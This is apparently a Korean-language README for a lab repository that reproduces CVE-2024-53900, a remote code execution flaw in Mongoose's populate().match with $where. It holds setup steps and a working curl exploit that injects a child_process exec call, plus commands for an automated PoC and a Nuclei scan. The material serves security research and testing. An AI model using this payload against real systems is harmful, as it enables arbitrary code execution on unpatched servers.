CVE-2024-53900 - Mongoose populate().match $where RCE

이 저장소는 Mongoose < 8.8.3에서 발생하는 심각한 원격 코드 실행(RCE) 취약점인 CVE-2024-53900에 대한 재현 가능한 취약 환경과 PoC를 제공합니다.

---

📌 취약점 세부 정보

• CVE: CVE-2024-53900
• 영향받는 버전: Mongoose < 8.8.3
• 심각도: 심각 (CVSS 9.1)
• 벡터: populate().match와 $where의 결합
• 영향: Node.js 컨텍스트에서 임의 JavaScript 실행 (RCE)

참고 자료:

• GitHub 보안 권고
• 수정 커밋

---

🛠️ 설정 지침

1. 저장소 복제

git clone https://github.com/www-spam/CVE-2024-53900.git
cd CVE-2024-53900

2. 환경 시작 (Docker Compose)

docker-compose up -d

📌 GUI PoC (계산기)

기본적으로 취약한 Node.js 앱은 Docker 내에서 실행됩니다.
하지만 GUI 애플리케이션(예: xcalc 또는 gnome-calculator)은 컨테이너 내에서 실행되지 않습니다.

👉 계산기 창을 열어 RCE를 시연하려면:

1. MongoDB를 Docker에서 실행 (DB 백엔드)

   docker run -d --name mongo -p 27017:27017 mongo:6
   

2. 취약한 Node.js 앱을 로컬에서 실행

   cd ~/cve-2024/app
   npm install
   node server.js

• MongoDB는 27017 포트에서 실행됩니다.
• 취약한 Node.js 앱은 5000 포트에서 실행됩니다.

---

📂 디렉토리 구조

/home/kali/cve-2024/
├── docker-compose.yml     # 환경 설정
├── exploit.py             # 자동화된 익스플로잇 스크립트
├── CVE-2024-53900.yaml    # Nuclei 템플릿
├── README.md              # 문서
├── app/                   # 취약한 Node.js 앱
│   ├── Dockerfile
│   ├── package.json
│   ├── server.js
│   ├── models.js
│   └── views/
└── data/                  # MongoDB 볼륨

---

🚀 익스플로잇

수동 테스트

curl "http://localhost:5000/book/{OBJECT_ID}/detail?view[path]=author&view[match][$where]=global.process.mainModule.constructor._load('child_process').exec('xcalc')"

자동화된 PoC

python3 exploit.py --url http://localhost:5000

Nuclei 사용

nuclei \ -u http://localhost:5000/book/{{OBJECT_ID}/detail \ -t ~/.local/nuclei-templates/CVE-2024-53900.yaml \ -var pfield=author

---

🔒 보안 참고 사항

• 연구 및 테스트 전용입니다 (프로덕션에는 사용하지 마세요).
• 페이로드는 안전한 작업(예: 파일 생성)으로 제한됩니다.
• Docker를 사용하여 완전히 격리됩니다.

---

✅ 테스트 환경

• OS: Kali Linux
• MongoDB: mongo:6
• Node.js: 18
• Mongoose: 8.5.0 (취약)
• Express: 4.18.2

---

📸 데모